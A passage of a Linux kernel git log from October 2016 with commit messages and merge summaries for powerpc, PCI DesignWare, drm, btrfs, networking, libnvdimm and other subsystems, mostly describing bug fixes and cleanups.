__copy_tofrom_user is the number of bytes not copied, this means that __copy_tofrom_user can occasionally return a value larger than the number of bytes it was asked to copy. In turn this can cause higher-level copy functions such as copy_page_to_iter_iovec to corrupt memory by copying data into the wrong memory locations. It turns out that the failing case involves a fault on the store at label 79, and at that point the first unmodified byte of the destination is at R3 + 16. Consequently the exception handler for that store needs to add 16 to R3 before using it to work out how many bytes were not copied, but in this one case it was not adding the offset to R3. To fix it, this moves the label 179 to the point where we add 16 to R3. I have checked manually all the exception handlers for the loads and stores in this code and the rest of them are correct (it would be excellent to have an automated test of all the exception cases). This bug has been present since this code was initially committed in May 2002 to Linux version 2.5.20. Cc: stable@vger.kernel.org Signed-off-by: Paul Mackerras Signed-off-by: Michael Ellerman arch/powerpc/lib/copyuser_64.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 74f47f07e53daeca1d16812fa7c9bf3145bd8216 Author: Bartosz Golaszewski Date: Mon Sep 26 11:54:15 2016 +0200 gpio: pca953x: add a comment explaining the need for a lockdep subclass This is a follow-up to commit 559b46990e76 ("gpio: pca953x: fix an incorrect lockdep warning"). The reason for calling lockdep_set_subclass() in pca953x_probe() is not explained in the code. Add a comment describing the problem, partial solution and required future extensions. Signed-off-by: Bartosz Golaszewski Acked-by: Linus Walleij Signed-off-by: Wolfram Sang drivers/gpio/gpio-pca953x.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit b60e4ea4a400bde8a4811f94b84a9bb65f81b677 Author: Mika Westerberg Date: Thu Sep 29 16:39:41 2016 +0300 ACPI / property: Allow holes in reference properties DT allows holes or empty phandles for references. This is used for example in SPI subsystem where some chip selects are native and others are regular GPIOs. In ACPI _DSD we currently do not support this but instead the preceding reference consumes all following integer arguments. For example we would like to support something like the below ASL fragment for SPI: Package () { "cs-gpios", Package () { ^GPIO, 19, 0, 0, // GPIO CS0 0, // Native CS ^GPIO, 20, 0, 0, // GPIO CS1 } } The zero in the middle means "no entry" or NULL reference. To support this we change acpi_data_get_property_reference() to take firmware node and num_args as argument and rename it to __acpi_node_get_property_reference(). The function returns -ENOENT if the given index resolves to "no entry" reference and -ENODATA when there are no more entries in the property. We then add static inline wrapper acpi_node_get_property_reference() that passes MAX_ACPI_REFERENCE_ARGS as num_args to support the existing behaviour which some drivers have been relying on. Signed-off-by: Mika Westerberg Reviewed-by: Andy Shevchenko Signed-off-by: Rafael J. Wysocki drivers/acpi/property.c | 117 ++++++++++++++++++++++++++++-------------------- include/linux/acpi.h | 22 +++++++-- 2 files changed, 87 insertions(+), 52 deletions(-) commit de34f4da7f62ff59ac6e1ef320b0fcfa3296fce3 Merge: 56e520c 9fce0c2 Author: Linus Torvalds Date: Tue Oct 11 13:22:22 2016 -0700 Merge tag 'media/v4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/mchehab/linux-media Pull media updates from Mauro Carvalho Chehab: - Documentation improvements: conversion of all non-DocBook documents to Sphinx and lots of fixes to the uAPI media book - New PCI driver for Techwell TW5864 media grabber boards - New SoC driver for ATMEL Image Sensor Controller - Removal of some obsolete SoC drivers (s5p-tv driver and soc_camera drivers) - Addition of ST CEC driver - Lots of drivers fixes, improvements and additions * tag 'media/v4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/mchehab/linux-media: (464 commits) [media] ttusb_dec: avoid the risk of go past buffer [media] cx23885: Fix some smatch warnings [media] si2165: switch to regmap [media] si2165: use i2c_client->dev instead of i2c_adapter->dev for logging [media] si2165: Remove legacy attach [media] cx231xx: attach si2165 driver via i2c_client [media] cx231xx: Prepare for attaching new style i2c_client DVB demod drivers [media] cx23885: attach si2165 driver via i2c_client [media] si2165: support i2c_client attach [media] si2165: avoid division by zero [media] rcar-vin: add R-Car gen2 fallback compatibility string [media] lgdt3306a: remove 20*50 msec unnecessary timeout [media] cx25821: Remove deprecated create_singlethread_workqueue [media] cx25821: Drop Freeing of Workqueue [media] cxd2841er: force 8MHz bandwidth for DVB-C if specified bw not supported [media] redrat3: hardware-specific parameters [media] redrat3: remove hw_timeout member [media] cxd2841er: BER and SNR reading for ISDB-T [media] dvb-usb: avoid link error with dib3000m{b,c| [media] dvb-usb: split out common parts of dibusb ... commit 69405d3da98b48633b78a49403e4f9cdb7c6a0f5 Merge: 28da9ed a5bd451 Author: Dave Airlie Date: Wed Oct 12 06:07:38 2016 +1000 Merge tag 'topic/drm-misc-2016-10-11' of git://anongit.freedesktop.org/drm-intel into drm-next Just flushing out my -misc queue. Slightly important are the prime refcount/unload fixes from Chris. There's also the reservation stuff from Chris still pending, and Sumits hasn't landed that yet. Might get another pull for that, but pls don't hold up the main pull for it ;-) * tag 'topic/drm-misc-2016-10-11' of git://anongit.freedesktop.org/drm-intel: drm/crtc: constify drm_crtc_index parameter drm: use the right function name in documentation drm: Release resources with a safer function drm: Fix up kerneldoc for new drm_gem_dmabuf_export() drm/bridge: Drop drm_connector_unregister and call drm_connector_cleanup directly drm/fb-helper: fix sphinx markup for DRM_FB_HELPER_DEFAULT_OPS drm/bridge: Add RGB to VGA bridge support drm/prime: Take a ref on the drm_dev when exporting a dma_buf drm/prime: Pass the right module owner through to dma_buf_export() drm/bridge: Call drm_connector_cleanup directly drm: simple_kms_helper: Add prepare_fb and cleanup_fb hooks drm: Release resources with a safer function commit 56e520c7a0a490b63b042b047ec9659fc08762a4 Merge: d09ba13 13a0825 Author: Linus Torvalds Date: Tue Oct 11 12:52:41 2016 -0700 Merge tag 'iommu-updates-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/joro/iommu Pull IOMMU updates from Joerg Roedel: - support for interrupt virtualization in the AMD IOMMU driver. These patches were shared with the KVM tree and are already merged through that tree. - generic DT-binding support for the ARM-SMMU driver. With this the driver now makes use of the generic DMA-API code. This also required some changes outside of the IOMMU code, but these are acked by the respective maintainers. - more cleanups and fixes all over the place. * tag 'iommu-updates-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/joro/iommu: (40 commits) iommu/amd: No need to wait iommu completion if no dte irq entry change iommu/amd: Free domain id when free a domain of struct dma_ops_domain iommu/amd: Use standard bitmap operation to set bitmap iommu/amd: Clean up the cmpxchg64 invocation iommu/io-pgtable-arm: Check for v7s-incapable systems iommu/dma: Avoid PCI host bridge windows iommu/dma: Add support for mapping MSIs iommu/arm-smmu: Set domain geometry iommu/arm-smmu: Wire up generic configuration support Docs: dt: document ARM SMMU generic binding usage iommu/arm-smmu: Convert to iommu_fwspec iommu/arm-smmu: Intelligent SMR allocation iommu/arm-smmu: Add a stream map entry iterator iommu/arm-smmu: Streamline SMMU data lookups iommu/arm-smmu: Refactor mmu-masters handling iommu/arm-smmu: Keep track of S2CR state iommu/arm-smmu: Consolidate stream map entry state iommu/arm-smmu: Handle stream IDs more dynamically iommu/arm-smmu: Set PRIVCFG in stage 1 STEs iommu/arm-smmu: Support non-PCI devices with SMMUv3 ... commit 28da9ed6574d43e78b89d9a6990cf65047b9deae Merge: b898578 105f1a6 Author: Dave Airlie Date: Wed Oct 12 05:46:18 2016 +1000 Merge tag 'drm-intel-next-fixes-2016-10-11' of git://anongit.freedesktop.org/drm-intel into drm-next A big bunch of i915 fixes for drm-next / v4.9 merge window, with more than half of them also cc: stable. We also continue to have more Fixes: annotations for our fixes, which should help the backporters and archeologists. * tag 'drm-intel-next-fixes-2016-10-11' of git://anongit.freedesktop.org/drm-intel: (27 commits) drm/i915: Fix conflict resolution from backmerge of v4.8-rc8 to drm-next drm/i915/guc: Unwind GuC workqueue reservation if request construction fails drm/i915: Reset the breadcrumbs IRQ more carefully drm/i915: Force relocations via cpu if we run out of idle aperture drm/i915: Distinguish last emitted request from last submitted request drm/i915: Allow DP to work w/o EDID drm/i915: Move long hpd handling into the hotplug work drm/i915/execlists: Reinitialise context image after GPU hang drm/i915: Use correct index for backtracking HUNG semaphores drm/i915: Unalias obj->phys_handle and obj->userptr drm/i915: Just clear the mmiodebug before a register access drm/i915/gen9: only add the planes actually affected by ddb changes drm/i915: Allow PCH DPLL sharing regardless of DPLL_SDVO_HIGH_SPEED drm/i915/bxt: Fix HDMI DPLL configuration drm/i915/gen9: fix the watermark res_blocks value drm/i915/gen9: fix plane_blocks_per_line on watermarks calculations drm/i915/gen9: minimum scanlines for Y tile is not always 4 drm/i915/gen9: fix the WaWmMemoryReadLatency implementation drm/i915/kbl: KBL also needs to run the SAGV code drm/i915: introduce intel_has_sagv() ... commit d09ba13110e303d7baa29d170da94cd24f7662b2 Merge: f29135b e476f94 Author: Linus Torvalds Date: Tue Oct 11 12:19:31 2016 -0700 Merge tag 'libnvdimm-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/nvdimm/nvdimm Pull libnvdimm updates from Dan Williams: "Aside from the recently added pmem sub-division support these have been in -next for several releases with no reported issues. The sub- division support was included in next-20161010 with no reported issues. It passes all unit tests including new tests for all the new functionality below. Summary: - PMEM sub-division support: Allow a single PMEM region to be divided into multiple namespaces. Originally, ~2 years ago, it was thought that partitions of a /dev/pmemX block device could handle sub-allocations of persistent memory for different use cases. With the decision to not support DAX mappings of raw block-devices, and the genesis of device-dax, the need for having multiple pmem-namespace per region has grown. - Device-DAX unified inode: In support of dynamic-resizing of a device-dax instance the kernel arranges for all mappings of a device-dax node to share the same inode. This allows unmap / truncate / invalidation events to affect all instances of the device similar to the behavior of mmap on block devices. - Hardware error scrubbing reworks: The original address-range-scrub and badblocks tracking solution allowed clearing entries at the individual namespace level, but it failed to clear the internal list of media errors maintained at the bus level. The result was that the next scrub or namespace disable/re-enable event would restore the cleared badblocks, but now that is fixed. The v4.8 kernel introduced an auto-scrub-on-machine-check behavior to repopulate the badblocks list. Now, in v4.9, the auto-scrub behavior can be disabled and simply arrange for the error reported in the machine-check to be added to the list. - DIMM health-event notification support: ACPI 6.1 defines a notification event code that can be send to ACPI NVDIMM devices. A poll(2) capable file descriptor for these events can be obtained from the nmemX/nfit/flags sysfs-attribute of a libnvdimm memory device. - Miscellaneous fixes: NVDIMM-N probe error, device-dax build error, and a change to dedup the flush hint list to not flush the memory controller more than necessary" * tag 'libnvdimm-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/nvdimm/nvdimm: (39 commits) /dev/dax: fix Kconfig dependency build breakage dax: use correct dev_t value dax: convert devm_create_dax_dev to PTR_ERR libnvdimm, namespace: allow creation of multiple pmem-namespaces per region libnvdimm, namespace: lift single pmem limit in scan_labels() libnvdimm, namespace: filter out of range labels in scan_labels() libnvdimm, namespace: enable allocation of multiple pmem namespaces libnvdimm, namespace: update label implementation for multi-pmem libnvdimm, namespace: expand pmem device naming scheme for multi-pmem libnvdimm, region: update nd_region_available_dpa() for multi-pmem support libnvdimm, namespace: sort namespaces by dpa at init libnvdimm, namespace: allow multiple pmem-namespaces per region at scan time tools/testing/nvdimm: support for sub-dividing a pmem region libnvdimm, namespace: unify blk and pmem label scanning libnvdimm, namespace: refactor uuid_show() into a namespace_to_uuid() helper libnvdimm, label: convert label tracking to a linked list libnvdimm, region: move region-mapping input-paramters to nd_mapping_desc nvdimm: reduce duplicated wpq flushes libnvdimm: clear the internal poison_list when clearing badblocks pmem: reduce kmap_atomic sections to the memcpys only ... commit 5c33677c87cbe44ae04df69c4a29c1750a9ec4e5 Author: Andy Whitcroft Date: Tue Oct 11 15:16:57 2016 +0100 dm raid: fix compat_features validation In ecbfb9f118bce4 ("dm raid: add raid level takeover support") a new compatible feature flag was added. Validation for these compat_features was added but this only passes for new raid mappings with this feature flag. This causes previously created raid mappings to be failed at import. Check compat_features for the only valid combination. Fixes: ecbfb9f118bce4 ("dm raid: add raid level takeover support") Cc: stable@vger.kernel.org # v4.8 Signed-off-by: Andy Whitcroft Signed-off-by: Heinz Mauelshagen Signed-off-by: Mike Snitzer drivers/md/dm-raid.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 0a862485f42af7df530b0b5f0e5ba8ffbb3a4a12 Author: Helge Deller Date: Tue Oct 11 20:49:42 2016 +0200 parisc: Show trap name in kernel crash Show the real trap name when the kernel crashes. Signed-off-by: Helge Deller arch/parisc/include/asm/traps.h | 1 + arch/parisc/kernel/traps.c | 4 ++-- arch/parisc/mm/fault.c | 17 +++++++++++------ 3 files changed, 14 insertions(+), 8 deletions(-) commit e3b6a02816ebbda3acfde2f079446ba92c97e70b Author: Helge Deller Date: Tue Oct 11 20:40:02 2016 +0200 parisc: Zero-initialize newly alloced memblock Commit 4fe9e1d957e4 ("parisc: Drop bootmem and switch to memblock") switched to the memblock allocator, but missed to zero-initialize the newly allocated memblocks. This lead to crashes on some machines like the rp3410. Fixes: 4fe9e1d957e4 ("parisc: Drop bootmem and switch to memblock") Signed-off-by: Helge Deller arch/parisc/mm/init.c | 2 ++ 1 file changed, 2 insertions(+) commit f29135b54bcbfe1fea97d94e2ae860bade1d5a31 Merge: 4c60992 19c4d2f Author: Linus Torvalds Date: Tue Oct 11 11:23:06 2016 -0700 Merge branch 'for-linus-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/mason/linux-btrfs Pull btrfs updates from Chris Mason: "This is a big variety of fixes and cleanups. Liu Bo continues to fixup fuzzer related problems, and some of Josef's cleanups are prep for his bigger extent buffer changes (slated for v4.10)" * 'for-linus-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/mason/linux-btrfs: (39 commits) Revert "btrfs: let btrfs_delete_unused_bgs() to clean relocated bgs" Btrfs: remove unnecessary btrfs_mark_buffer_dirty in split_leaf Btrfs: don't BUG() during drop snapshot btrfs: fix btrfs_no_printk stub helper Btrfs: memset to avoid stale content in btree leaf btrfs: parent_start initialization cleanup btrfs: Remove already completed TODO comment btrfs: Do not reassign count in btrfs_run_delayed_refs btrfs: fix a possible umount deadlock Btrfs: fix memory leak in do_walk_down btrfs: btrfs_debug should consume fs_info when DEBUG is not defined btrfs: convert send's verbose_printk to btrfs_debug btrfs: convert pr_* to btrfs_* where possible btrfs: convert printk(KERN_* to use pr_* calls btrfs: unsplit printed strings btrfs: clean the old superblocks before freeing the device Btrfs: kill BUG_ON in run_delayed_tree_ref Btrfs: don't leak reloc root nodes on error btrfs: squash lines for simple wrapper functions Btrfs: improve check_node to avoid reading corrupted nodes ... commit 4c609922a3ae0248597785d1f9adc8f142a80aef Merge: 1689c73 ec037df Author: Linus Torvalds Date: Tue Oct 11 10:49:44 2016 -0700 Merge tag 'upstream-4.9-rc1' of git://git.infradead.org/linux-ubifs Pull UBI/UBIFS updates from Richard Weinberger: "This pull request contains: - Fixes for both UBI and UBIFS - overlayfs support (O_TMPFILE, RENAME_WHITEOUT/EXCHANGE) - Code refactoring for the upcoming MLC support" [ Ugh, we just got rid of the "rename2()" naming for the extended rename functionality. And this re-introduces it in ubifs with the cross- renaming and whiteout support. But rather than do any re-organizations in the merge itself, the naming can be cleaned up later ] * tag 'upstream-4.9-rc1' of git://git.infradead.org/linux-ubifs: (27 commits) UBIFS: improve function-level documentation ubifs: fix host xattr_len when changing xattr ubifs: Use move variable in ubifs_rename() ubifs: Implement RENAME_EXCHANGE ubifs: Implement RENAME_WHITEOUT ubifs: Implement O_TMPFILE ubi: Fix Fastmap's update_vol() ubi: Fix races around ubi_refill_pools() ubi: Deal with interrupted erasures in WL UBI: introduce the VID buffer concept UBI: hide EBA internals UBI: provide an helper to query LEB information UBI: provide an helper to check whether a LEB is mapped or not UBI: add an helper to check lnum validity UBI: simplify LEB write and atomic LEB change code UBI: simplify recover_peb() code UBI: move the global ech and vidh variables into struct ubi_attach_info UBI: provide helpers to allocate and free aeb elements UBI: fastmap: use ubi_io_{read, write}_data() instead of ubi_io_{read, write}() UBI: fastmap: use ubi_rb_for_each_entry() in unmap_peb() ... commit 1689c73a739d094b544c680b0dfdebe52ffee8fb Author: Al Viro Date: Tue Oct 11 18:21:14 2016 +0100 Fix off-by-one in __pipe_get_pages() it actually worked only when requested area ended on the page boundary... Reported-by: Marco Grassi Signed-off-by: Al Viro Signed-off-by: Linus Torvalds lib/iov_iter.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6b5e09a748ad0a0b198d0e268c7e689044bfe48a Merge: 101105b bd3769b Author: Linus Torvalds Date: Tue Oct 11 08:10:19 2016 -0700 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Pull networking fixes from David Miller: 1) Netfilter list handling fix, from Linus. 2) RXRPC/AFS bug fixes from David Howells (oops on call to serviceless endpoints, build warnings, missing notifications, etc.) From David Howells. 3) Kernel log message missing newlines, from Colin Ian King. 4) Don't enter direct reclaim in netlink dumps, the idea is to use a high order allocation first and fallback quickly to a 0-order allocation if such a high-order one cannot be done cheaply and without reclaim. From Eric Dumazet. 5) Fix firmware download errors in btusb bluetooth driver, from Ethan Hsieh. 6) Missing Kconfig deps for QCOM_EMAC, from Geert Uytterhoeven. 7) Fix MDIO_XGENE dup Kconfig entry. From Laura Abbott. 8) Constrain ipv6 rtr_solicits sysctl values properly, from Maciej Żenczykowski. * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net: (65 commits) netfilter: Fix slab corruption. be2net: Enable VF link state setting for BE3 be2net: Fix TX stats for TSO packets be2net: Update Copyright string in be_hw.h be2net: NCSI FW section should be properly updated with ethtool for BE3 be2net: Provide an alternate way to read pf_num for BEx chips wan/fsl_ucc_hdlc: Fix size used in dma_free_coherent() net: macb: NULL out phydev after removing mdio bus xen-netback: make sure that hashes are not send to unaware frontends Fixing a bug in team driver due to incorrect 'unsigned int' to 'int' conversion MAINTAINERS: add myself as a maintainer of xen-netback ipv6 addrconf: disallow rtr_solicits < -1 Bluetooth: btusb: Fix atheros firmware download error drivers: net: phy: Correct duplicate MDIO_XGENE entry ethernet: qualcomm: QCOM_EMAC should depend on HAS_DMA and HAS_IOMEM net: ethernet: mediatek: remove hwlro property in the device tree net: ethernet: mediatek: get hw lro capability by the chip id instead of by the dtsi net: ethernet: mediatek: get the chip id by ETHDMASYS registers net: bgmac: Fix errant feature flag check netlink: do not enter direct reclaim from netlink_dump() ... commit 6a43a425a074afc855af0fc4612c6e3438f97426 Author: Bjorn Helgaas Date: Thu Oct 6 13:42:09 2016 -0500 PCI: spear: Clean up struct device usage For consistency with other drivers, use the struct device pointer from struct pcie_port whenever possible instead of relying on the platform_device pointer. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-spear13xx.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 7a29f04a56649f75b3877d161d291af711646b41 Author: Bjorn Helgaas Date: Thu Oct 6 13:42:08 2016 -0500 PCI: spear: Reorder struct spear13xx_pcie Reorder struct spear13xx_pcie to put generic fields first. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-spear13xx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ffe82fa66afb19c2d5a4b8a0da6d05df2b5a6dc5 Author: Bjorn Helgaas Date: Thu Oct 6 13:42:08 2016 -0500 PCI: spear: Pass device-specific struct to internal functions Only interfaces used from outside the driver, e.g., those called by the DesignWare core, need to accept pointers to the generic struct pcie_port. Internal interfaces can accept pointers to the device-specific struct, which makes them more straightforward. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-spear13xx.c | 29 ++++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) commit ca7b941c900f2b265e7a1ac18bb963ee7b31141d Author: Bjorn Helgaas Date: Thu Oct 6 13:42:08 2016 -0500 PCI: spear: Remove unused constants Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-spear13xx.c | 70 --------------------------------------- 1 file changed, 70 deletions(-) commit 4c9441d1e64c0ce224771d0985fabd75690a6d53 Author: Bjorn Helgaas Date: Thu Oct 6 13:32:15 2016 -0500 PCI: designware-plat: Remove unused platform data The designware-plat driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware-plat.c | 1 - 1 file changed, 1 deletion(-) commit 2d6054b968d4dc5a739f96cb60f7e7b410a0e2fb Author: Bjorn Helgaas Date: Thu Oct 6 13:32:15 2016 -0500 PCI: designware-plat: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware-plat.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit bb8a79477738ee038c9cfd471e8ab60da1e37177 Author: Bjorn Helgaas Date: Thu Oct 6 13:32:15 2016 -0500 PCI: designware-plat: Remove redundant dw_plat_pcie.mem_base Remove the struct dw_plat_pcie.mem_base member, which is only used as a temporary. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware-plat.c | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit fecf861e765b2f9ce1a0487c3940afaed80ef7a8 Author: SeongJae Park Date: Sun Oct 2 11:02:18 2016 +0900 selftests/futex: Check ANSI terminal color support Because test for color support of the running shell does not aware ANSI type terminals, it does not print colorful messages on some environemnt. This commit modifies the test to aware ANSI type terminal, too. Signed-off-by: SeongJae Park Acked-by: Darren Hart Signed-off-by: Shuah Khan tools/testing/selftests/futex/functional/run.sh | 2 +- tools/testing/selftests/futex/run.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit f5acb5c51de2c073ee5f80d868354113ce0227ee Author: Bjorn Helgaas Date: Tue Oct 11 08:33:00 2016 -0500 PCI: designware: Swap order of dw_pcie_writel_unroll() reg/val arguments Swap order of dw_pcie_readl_unroll() arguments to match the "dev, pos, val" order used by pci_write_config_word() and other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware.c | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) commit 3d469939bcdf044d9f370be4f6bf21436afea310 Author: Bjorn Helgaas Date: Tue Oct 11 08:33:33 2016 -0500 PCI: designware: Uninline register accessors The register accessors are not performance critical and small enough that the compiler can inline them itself if it makes sense. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8ad750193430668d1d833dbee94788533b417b9a Author: Bjorn Helgaas Date: Thu Oct 6 13:25:47 2016 -0500 PCI: designware: Export dw_pcie_readl_rc(), dw_pcie_writel_rc() Export dw_pcie_readl_rc() and dw_pcie_writel_rc(). Many other drivers can use these instead of implementing their own versions. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware.c | 4 ++-- drivers/pci/host/pcie-designware.h | 2 ++ 2 files changed, 4 insertions(+), 2 deletions(-) commit ad8802189426cf7b3a2ad0444f71981fb81312a8 Author: Bjorn Helgaas Date: Thu Oct 6 13:25:46 2016 -0500 PCI: designware: Swap order of dw_pcie_writel_rc() reg/val arguments Swap order of dw_pcie_writel_rc() arguments to match the "dev, pos, val" order used by pci_write_config_word() and other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-exynos.c | 2 +- drivers/pci/host/pcie-designware.c | 48 +++++++++++++++++++------------------- drivers/pci/host/pcie-designware.h | 2 +- 3 files changed, 26 insertions(+), 26 deletions(-) commit 7e00dfd0fbbb2fc276592613f76ded0b9a139a04 Author: Bjorn Helgaas Date: Thu Oct 6 13:25:46 2016 -0500 PCI: designware: Simplify pcie_host_ops.readl_rc() and .writel_rc() interfaces The struct pcie_host_ops.readl_rc() and .writel_rc() function pointers allow a driver to override the default DesignWare register accessors. Make the signature of the override functions the same as the default accessors. This makes the default dw_pcie_readl_rc() and the corresponding override more structurally similar: both will compute the final register address with "pp->dbi_base + reg". Previously dw_pcie_readl_rc() computed the address and passed it to the override. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-exynos.c | 10 ++++------ drivers/pci/host/pcie-designware.c | 4 ++-- drivers/pci/host/pcie-designware.h | 5 ++--- 3 files changed, 8 insertions(+), 11 deletions(-) commit a26e0108b61d6e65c151af720f2c4248a38f000d Author: Kishon Vijay Abraham I Date: Tue Oct 11 08:26:21 2016 -0500 PCI: designware: Simplify dw_pcie_readl_unroll(), dw_pcie_writel_unroll() dw_pcie_readl_unroll() and dw_pcie_writel_unroll() duplicate what dw_pcie_readl_rc() and dw_pcie_writel_rc() already do, so call them directly. [bhelgaas: reworked into patch series] Signed-off-by: Kishon Vijay Abraham I Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit aa5f920993bda2095952177eea79bc8e58ae6065 Author: murray foster Date: Sun Oct 9 13:28:45 2016 -0700 ASoC: cs4270: fix DAPM stream name mismatch Mismatching stream names in DAPM route and widget definitions are causing compilation errors. Fixing these names allows the cs4270 driver to compile and function. [Errors must be at probe time not compile time -- broonie] Signed-off-by: Murray Foster Acked-by: Paul Handrigan Signed-off-by: Mark Brown Cc: stable@vger.kernel.org sound/soc/codecs/cs4270.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 9445622cfbc38c980f1755fc1132a3a460b5a529 Author: James Hogan Date: Fri Oct 7 10:23:46 2016 +0100 MIPS: VDSO: Drop duplicated -I*/-E* aflags The aflags-vdso is based on ccflags-vdso, which already contains the -I* and -EL/-EB flags from KBUILD_CFLAGS, but those flags are needlessly added again to aflags-vdso. Drop the duplication. Signed-off-by: James Hogan Reported-by: Maciej W. Rozycki Reviewed-by: Maciej W. Rozycki Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14369/ Signed-off-by: Ralf Baechle arch/mips/vdso/Makefile | 2 -- 1 file changed, 2 deletions(-) commit 034827c727f7f3946a18355b63995b402c226c82 Author: James Hogan Date: Thu Oct 6 23:10:41 2016 +0100 MIPS: Fix -mabi=64 build of vdso.lds The native ABI vDSO linker script vdso.lds is built by preprocessing vdso.lds.S, with the native -mabi flag passed in to get the correct ABI definitions. Unfortunately however certain toolchains choke on -mabi=64 without a corresponding compatible -march flag, for example: cc1: error: ‘-march=mips32r2’ is not compatible with the selected ABI scripts/Makefile.build:338: recipe for target 'arch/mips/vdso/vdso.lds' failed Fix this by including ccflags-vdso in the KBUILD_CPPFLAGS for vdso.lds, which includes the appropriate -march flag. Fixes: ebb5e78cc634 ("MIPS: Initial implementation of a VDSO") Signed-off-by: James Hogan Reviewed-by: Maciej W. Rozycki Cc: linux-mips@linux-mips.org Cc: stable@vger.kernel.org # 4.4.x- Patchwork: https://patchwork.linux-mips.org/patch/14368/ Signed-off-by: Ralf Baechle arch/mips/vdso/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7c8cb4b50f3cc6f4a8f7bfddad6fb5a845df3261 Author: Nicholas Piggin Date: Tue Oct 11 18:47:56 2016 +1100 powerpc/64s: Fix power4_fixup_nap placement power4_fixup_nap is called from the "common" handlers, not the virt/real handlers, therefore it should itself be a common handler. Placing it down in the trampoline space caused it to go out of reach of its callers, requiring a trampoline inserted at the start of the text section, which breaks the fixed section address calculations. Fixes: da2bc4644c75 ("powerpc/64s: Add new exception vector macros") Reported-by: Guenter Roeck Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 05af40e885955065aee8bb7425058eb3e1adca08 Author: Laurent Dufour Date: Thu Oct 6 15:33:21 2016 +0200 powerpc/pseries: Fix stack corruption in htpe code This commit fixes a stack corruption in the pseries specific code dealing with the huge pages. In __pSeries_lpar_hugepage_invalidate() the buffer used to pass arguments to the hypervisor is not large enough. This leads to a stack corruption where a previously saved register could be corrupted leading to unexpected result in the caller, like the following panic: Oops: Kernel access of bad area, sig: 11 [#1] SMP NR_CPUS=2048 NUMA pSeries Modules linked in: virtio_balloon ip_tables x_tables autofs4 virtio_blk 8139too virtio_pci virtio_ring 8139cp virtio CPU: 11 PID: 1916 Comm: mmstress Not tainted 4.8.0 #76 task: c000000005394880 task.stack: c000000005570000 NIP: c00000000027bf6c LR: c00000000027bf64 CTR: 0000000000000000 REGS: c000000005573820 TRAP: 0300 Not tainted (4.8.0) MSR: 8000000000009033 CR: 84822884 XER: 20000000 CFAR: c00000000010a924 DAR: 420000000014e5e0 DSISR: 40000000 SOFTE: 1 GPR00: c00000000027bf64 c000000005573aa0 c000000000e02800 c000000004447964 GPR04: c00000000404de18 c000000004d38810 00000000042100f5 00000000f5002104 GPR08: e0000000f5002104 0000000000000001 042100f5000000e0 00000000042100f5 GPR12: 0000000000002200 c00000000fe02c00 c00000000404de18 0000000000000000 GPR16: c1ffffffffffe7ff 00003fff62000000 420000000014e5e0 00003fff63000000 GPR20: 0008000000000000 c0000000f7014800 0405e600000000e0 0000000000010000 GPR24: c000000004d38810 c000000004447c10 c00000000404de18 c000000004447964 GPR28: c000000005573b10 c000000004d38810 00003fff62000000 420000000014e5e0 NIP [c00000000027bf6c] zap_huge_pmd+0x4c/0x470 LR [c00000000027bf64] zap_huge_pmd+0x44/0x470 Call Trace: [c000000005573aa0] [c00000000027bf64] zap_huge_pmd+0x44/0x470 (unreliable) [c000000005573af0] [c00000000022bbd8] unmap_page_range+0xcf8/0xed0 [c000000005573c30] [c00000000022c2d4] unmap_vmas+0x84/0x120 [c000000005573c80] [c000000000235448] unmap_region+0xd8/0x1b0 [c000000005573d80] [c0000000002378f0] do_munmap+0x2d0/0x4c0 [c000000005573df0] [c000000000237be4] SyS_munmap+0x64/0xb0 [c000000005573e30] [c000000000009560] system_call+0x38/0x108 Instruction dump: fbe1fff8 fb81ffe0 7c7f1b78 7ca32b78 7cbd2b78 f8010010 7c9a2378 f821ffb1 7cde3378 4bfffea9 7c7b1b79 41820298 48000130 7fa5eb78 7fc4f378 Most of the time, the bug is surfacing in a caller up in the stack 